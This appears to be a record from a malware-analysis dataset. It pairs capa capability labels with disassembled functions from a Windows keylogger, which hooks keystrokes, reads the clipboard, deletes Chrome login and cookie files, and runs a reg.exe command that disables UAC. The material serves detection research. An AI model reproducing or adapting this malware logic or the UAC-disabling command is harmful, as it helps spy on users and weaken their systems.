joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404efb
Capabilities:
Terminate thread

Disassembly:
mov eax, 0x41384c
call fcn.00413510
push ecx
push ecx
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
and dword [ebp - 4], 0
xor edi, edi
mov dword [ebp - 0x14], edi
mov esi, 0x41a8b8
mov ecx, esi
call fcn.00404fdd
cmp edi, eax
jae 0x404f7b
push edi
mov ecx, esi
call fcn.00404ff3
mov eax, dword [eax]
cmp eax, dword [ebp + 8]
jne 0x404f6f
push edi
mov ecx, esi
call fcn.00404ff3
mov eax, dword [eax + 8]
push dword [eax]
call sub.WS2_32.dll_closesocket
push 0
push edi
mov ecx, esi
call fcn.00404ff3
push dword [eax + 4]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov ecx, esi
call fcn.0040a685
lea ecx, [edi + edi*2]
lea eax, [eax + ecx*4]
push eax
mov ecx, esi
call fcn.00405020
inc edi
mov dword [ebp - 0x14], edi
jmp 0x404f1b
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4051ee
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
lea eax, [ebp + 8]
push edi
push eax
lea ecx, [esi + 0x54]
mov byte [esi + 0x3c], 1
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.004051c4
xor edi, edi
cmp byte [0x41a148], 0x32
mov ebx, str.Offline_Keylogger_Started
je 0x405237
push edi
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405e2d
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00411858
add esp, 0x20
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push esi
push 0x4052f9
push edi
push edi
call ebx
cmp dword [esi], edi
jne 0x405285
push edi
push edi
push esi
push 0x4052d9
push edi
push edi
call ebx
push edi
push edi
push esi
push 0x405308
push edi
push edi
call ebx
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop edi
pop esi
pop ebx
leave
ret 0x10
Function at 0x4052a1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, [ebp + 8]
push eax
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
xor eax, eax
cmp byte [esi + 0x3c], al
jne 0x4052cb
push eax
push eax
push esi
push 0x4052e8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
pop esi
pop ebp
ret 0x10

Function at 0x405344
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, ecx
xor edi, edi
mov dword [0x41a988], esi
cmp dword [esi], edi
jne 0x40536f
push edi
push edi
push 0x405329
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
cmp dword [esi], edi
je 0x405396
push edi
push edi
lea eax, [ebp - 0x1c]
push edi
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x405396
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x40536b
pop edi
xor eax, eax
pop esi
leave
ret
Function at 0x4055a1
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x41a968]
push ebx
or eax, dword [0x41a96c]
push esi
push edi
mov esi, ecx
je 0x405652
xor ebx, ebx
mov byte [esi + 0x30], bl
push ebx
push 0x80
push 3
push ebx
push 7
push 0x80000000
mov ecx, 0x41a934
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x405625
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
cmp ecx, dword [0x41a96c]
jb 0x40561c
ja 0x405601
cmp eax, dword [0x41a968]
jb 0x40561c
cmp byte [esi + 0x3c], bl
mov byte [esi + 0x30], 1
je 0x405611
mov ecx, esi
call fcn.00405da9
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405628
mov byte [esi + 0x30], bl
cmp byte [esi + 0x30], 1
je 0x4055bc
cmp byte [esi + 0x3c], bl
jne 0x405652
cmp byte [0x41a148], 0x31
jne 0x405652
sub esp, 0x10
lea eax, [esi + 0x54]
mov ecx, esp
push eax
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
mov ecx, esi
call fcn.004051ee
pop edi
pop esi
pop ebx
ret
Function at 0x405c15
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
cmp byte [esi + 0x3d], bl
jne 0x405cb4
push 1
lea eax, [ebp - 1]
sub esp, 0x10
mov edi, str.Online_Keylogger_Started
mov ecx, esp
mov byte [esi + 0x3d], 1
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, esi
call fcn.00405e2d
sub esp, 0x10
lea eax, [ebp - 1]
mov ecx, esp
push eax
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
lea eax, [ebp - 2]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.00411858
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x20
cmp byte [esi + 0x3c], bl
jne 0x405ca5
mov ecx, esi
call fcn.004051c4
cmp dword [esi], ebx
jne 0x405c99
push ebx
push ebx
push esi
push 0x4052d9
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405308
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x405317
push ebx
push ebx
call edi
mov dword [esi + 0x28], eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406c28
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x406c54
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
call dword [sym.imp.USER32.dll_CloseClipboard]
test esi, esi
je 0x406c54
lea eax, [ebp - 1]
push eax
push esi
jmp 0x406c5d
lea eax, [ebp - 1]
push eax
push 0x4146b0
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop esi
leave
ret 4
Function at 0x406d38
Capabilities:
Delete directory
Delete file

Disassembly:
push ebx
push esi
mov esi, ecx
lea ecx, [esi + 0x54]
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
setne bl
add esi, 0x64
push 0x414848
push esi
call dword [sym.imp.MSVCP60.dll_bool___cdecl_std::operator__class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const___unsigned_short_int_const__]
pop ecx
test al, al
pop ecx
je 0x406d75
mov ecx, esi
call dword [sym.imp.MSVCP60.dll_public:_unsigned_short_int_const____thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov al, bl
pop esi
pop ebx
ret

Function at 0x406d7a
Capabilities:
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push 0x4052f9
and byte [esi + 0x3c], 0
call edi
mov eax, dword [esi]
test eax, eax
je 0x406daa
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
and dword [esi], 0
push 0
push 0x4052d9
call edi
mov ecx, esi
call fcn.00406d38
pop edi
pop esi
ret
Function at 0x407148
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultLogin_Data
push eax
push 0x414d90
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4071e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x4071d6
dec eax
je 0x4071a9
xor bl, bl
jmp 0x407204
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x40720f
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x4071b3
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_StoredLogins_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x407212
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
lea eax, [ebp - 1]
push str.AppDataLocalGoogleChromeUser_DataDefaultCookies
push eax
push 0x414d90
call dword [sym.imp.MSVCRT.dll_getenv]
pop ecx
push eax
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__
add esp, 0xc
lea ecx, [ebp - 0x24]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x4072ac
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
dec eax
je 0x4072a0
dec eax
je 0x407273
xor bl, bl
jmp 0x4072ce
push 0
lea eax, [ebp - 1]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_not_found_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, 1
jmp 0x4072d9
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
jmp 0x40727d
push 0
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push str._n_Chrome_Cookies_found__cleared__
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov ecx, 0x41a8e0
call fcn.00405558
mov bl, 1
lea ecx, [ebp - 0x14]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, bl
pop ebx
leave
ret
Function at 0x407b23
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov al, byte [ebp + 8]
imul ecx, ecx, 0xea60
push ebx
push esi
test al, al
push edi
mov byte [0x41a990], al
mov dword [0x41a994], ecx
je 0x407b90
and dword [ebp + 8], 0
mov ebx, 0x414fbc
mov edi, 0x41aa20
push ebx
mov ecx, edi
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov esi, 0x80000001
push eax
push esi
call fcn.0040b762
add esp, 0xc
test al, al
je 0x407b90
lea eax, [ebp + 8]
mov ecx, edi
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call fcn.0040b7ab
xor eax, eax
add esp, 0x10
cmp dword [ebp + 8], eax
je 0x407b92
xor al, al
jmp 0x407ba4
xor eax, eax
push eax
push eax
push eax
push 0x4079f9
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40a50a
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push esi
push edi
push 0x11
xor eax, eax
pop ecx
lea edi, [ebp - 0x54]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x10]
mov dword [ebp - 0x54], 0x44
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x54]
push eax
xor eax, eax
push eax
push eax
push 0x8000000
push eax
push eax
push eax
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
leave
ret
Function at 0x40b08f
Capabilities:
Terminate process

Disassembly:
and byte [0x41ad4c], 0
push ebx
push 0
push dword [0x41ad38]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0x41ad38]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0x40b762
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push esi
push eax
xor esi, esi
push 0x20019
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b7a6
push edi
push esi
push esi
push esi
push esi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, esi
pop edi
sete al
jmp 0x40b7a8
xor al, al
pop esi
pop ebp
ret

Function at 0x40b7ab
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 8], eax
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b801
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
pop esi
leave
ret
xor al, al
leave
ret

Function at 0x40b805
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x404
push ebx
xor ebx, ebx
cmp byte [ebp + 0x18], bl
lea eax, [ebp + 0x10]
mov dword [ebp - 4], 0x400
push eax
jne 0x40b828
push 0x20019
jmp 0x40b82d
push 0x20119
push ebx
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x40b86d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x404]
push eax
push ebx
push ebx
push dword [ebp + 0x14]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x1b]
push eax
lea eax, [ebp - 0x404]
push eax
jmp 0x40b876
lea eax, [ebp + 0x1b]
push eax
push 0x4146b0
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x40b885
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
lea eax, [ebp + 0xc]
mov dword [ebp - 4], 0x400
push eax
push 0x20019
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40b8e1
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x804]
push eax
push 0
push 0
push dword [ebp + 0x14]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x13]
push eax
lea eax, [ebp - 0x804]
push eax
jmp 0x40b8ea
lea eax, [ebp + 0x13]
push eax
push 0x414848
mov ecx, dword [ebp + 8]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov eax, dword [ebp + 8]
leave
ret

Function at 0x40b8f8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
push edi
xor edi, edi
push eax
lea eax, [ebp - 8]
push edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push eax
push edi
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
mov ebx, 0x4146b0
push dword [ebp + 0xc]
call esi
test eax, eax
jne 0x40b95f
cmp dword [ebp - 4], edi
jbe 0x40b95f
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov ebx, eax
mov ecx, dword [ebp - 4]
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 8]
push ebx
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call esi
mov ecx, dword [ebp + 8]
lea eax, [ebp + 0x13]
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::constructor_unsigned_short_int_const___class_std::allocator_unsigned_short_int__const__]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40b975
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
lea eax, [ebp + 0xc]
push eax
push 0x20019
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40b9e7
lea eax, [ebp + 0x18]
push edi
push eax
push dword [ebp + 0x14]
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0xc]
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test edi, edi
pop edi
jne 0x40b9e7
push dword [ebp + 0x20]
lea ecx, [ebp - 0x400]
push dword [ebp + 0x1c]
call fcn.00403198
push dword [ebp + 0x18]
lea ecx, [ebp - 0x400]
push dword [ebp + 0x14]
call fcn.0040320d
mov al, 1
leave
ret
xor al, al
leave
ret